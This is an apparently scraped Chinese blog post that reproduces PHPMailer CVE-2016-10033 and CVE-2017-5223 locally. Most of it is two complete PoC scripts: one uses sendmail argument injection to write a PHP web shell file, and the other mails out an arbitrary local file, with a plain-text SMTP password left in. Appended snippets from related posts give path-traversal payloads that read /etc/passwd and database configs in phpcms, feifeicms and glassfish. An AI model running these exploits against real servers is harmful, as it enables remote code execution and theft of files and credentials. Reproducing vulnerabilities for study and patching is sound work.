PHPMailer命令执行及任意文件读取漏洞

  今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个邮箱接口,前台页面需要单独自己写,没办法用这套CMS进行复现,这边也顺便利用这个PHPMailer-5.2.13对CVE-2016-10033和CVE-2017-5223进行本地复现,记录一下。

PHPMailer 命令执行漏洞(CVE-2016-10033)

漏洞编号:CVE-2016-10033

影响版本:PHPMailer< 5.2.18

漏洞级别: 高危

漏洞POC:

<?php /*
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
A simple PoC (working on Sendmail MTA)
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:
09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?> 09607 <<<
09607 <<<
09607 <<<
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--
See the full advisory URL for details.
*/ // Attacker‘s input coming from untrusted source such as $_GET , $_POST etc.  // For example from a Contact form  $email_from = ‘"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com‘;
$msg_body  = "<?php phpinfo(); ?>"; // ------------------  // mail() param injection via the vulnerability in PHPMailer  require_once(‘class.phpmailer.php‘);
$mail = new PHPMailer(); // defaults to using php "mail()"  $mail->SetFrom($email_from, ‘Client Name‘);
$address = "[email protected]";
$mail->AddAddress($address, "Some User");
$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo;
} else { echo "Message sent!\n";
}

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

漏洞编号: CVE-2017-5223

影响版本: PHPMailer <= 5.2.21

漏洞级别: 高危

漏洞POC:根据作者的POC改了几行,使其适用于qq邮箱

<?php
#Author:Yxlink

require_once(‘PHPMailerAutoload.php‘);
$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = ‘smtp.qq.com‘;
$mail->Port = 465;
$mail->SMTPAuth = true;
$mail->Username = [email protected]‘;
$mail->Password = ‘zsuhxbmsaioxbcgaq‘;
$mail->SMTPSecure = ‘ssl‘;

$mail->CharSet  = "UTF-8";
$mail->Encoding = "base64";

$mail->Subject = "hello";
$mail->From = "[email protected]";
$mail->FromName = "test";  

$address = "[email protected]";
$mail->AddAddress($address, "test");

$mail->AddAttachment(‘test.txt‘,‘test.txt‘);
$mail->IsHTML(true);
$msg="<img src=‘D:\\1.txt‘>test";
$mail->msgHTML($msg);

if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!";
}
?>

 

参考文章:

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)http://www.freebuf.com/vuls/124820.html

PHPMailer 命令执行漏洞(CVE-2016-10033)分析 http://blog.csdn.net/wyvbboy/article/details/53969278

原文地址:https://www.cnblogs.com/xiaozi/p/8439864.html

时间: 2024-09-30 14:36:27

PHPMailer命令执行及任意文件读取漏洞的相关文章

【代码审计】两个任意文件读取漏洞实例

0x00 前言 0x01 漏洞实例一 环境搭建: XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw 代码分析: 1.漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行: public function edit() { $ft

TEC-004-php文件下载任意文件读取漏洞修复

修改download?u参数值,将/public/files/14842030529.txt,替换为../../../../../../../../../../etc/passwd    function download() {        $u =$_GET['u'];        // 描述: 任意文件读取漏洞修复  date: 2017年4月28日 下午4:13:39  bylwy        $lenth=strrpos($u,'.');        $string = sub

phpcmsv9.15以下任意文件读取漏洞

http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php 成功读取数据库信息如下: 爆网站路径: http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&

glassfish任意文件读取漏洞解析

一.背景: glassfish是一款java编写的跨平台的开源的应用服务器. 二.漏洞原理: 与宽字节SQL注入一致,都是由于unicode编码歧义导致的.具体payload如下构造: http://ip:port/theme/META-INF/%c0%ae%co%ae/%c0%ae%co%ae/xxxpath/xxxfile 上述利用可以变形: http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./

feifeicms后台任意文件读取

前台大略看了下,本身内容比较简单,经过"洗礼"后以及没什么问题了,基本上输入都过滤了. 这次审计找到了一个后台的任意文件读取,可以读取数据库配置文件. 在DataAction.class.php文件中,获取了$_GET['id']并直接用于路径拼凑,最后到达readfile函数中,导致了任意文件读取漏洞. 访问localhost/feifeicms/index.php?s=Admin-Data-down&id=../../Conf/config.php 需要后台权限,有点鸡肋.

漏洞复现 - ActiveMQ任意文件写入漏洞(CVE-2016-3088)

漏洞原理 fileserver是Apache ActiveM提供的一个RESTful API接口,可通过GET.PUT.DELETE等HTTP请求对文件进行读写操作,设计目的是为了弥补消息队列操作不能传输.存储二进制文件的缺陷,在文件操作过程中出现了任意文件读写漏洞. 影响版本 5.12.x之前的版本. 复现环境 将ActiveMQ部署在MAC上,使用版本为apache-activemq-5.11.1,JDK版本为1.7 复现过程 启动ActiveMQ,并尝试上传jsp木马,返回401,上传时失

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

Discuz!X 3.4 前台任意文件删除漏洞复现

Discuz!X 3.4 前台任意文件删除漏洞复现 参考链接: http://www.freebuf.com/vuls/149904.html http://www.freebuf.com/articles/system/149810.html http://mp.weixin.qq.com/s?srcid=0930uM1OtfeAsXwHRrfZBIyo&scene=23&mid=2650942631&sn=12a3c55807768f12fcd1b306fdf775d8&

ActiveMQ 任意文件写入漏洞(CVE-2016-3088)

标题:ActiveMQ 任意文件写入漏洞(CVE-2016-3088) 日期:2018年08月11日 介绍: 使用 docker 复现该漏洞 /Users/v/Downloads/vulhub-master/activemq/CVE-2016-3088 0x01. 基本信息 使用 docker 搭建环境 vulhub/activemq at master · vulhub/vulhub · GitHub 环境会监听 61616 端口和 8161端口,8161端口是控制台. 搭建好以后,本机访问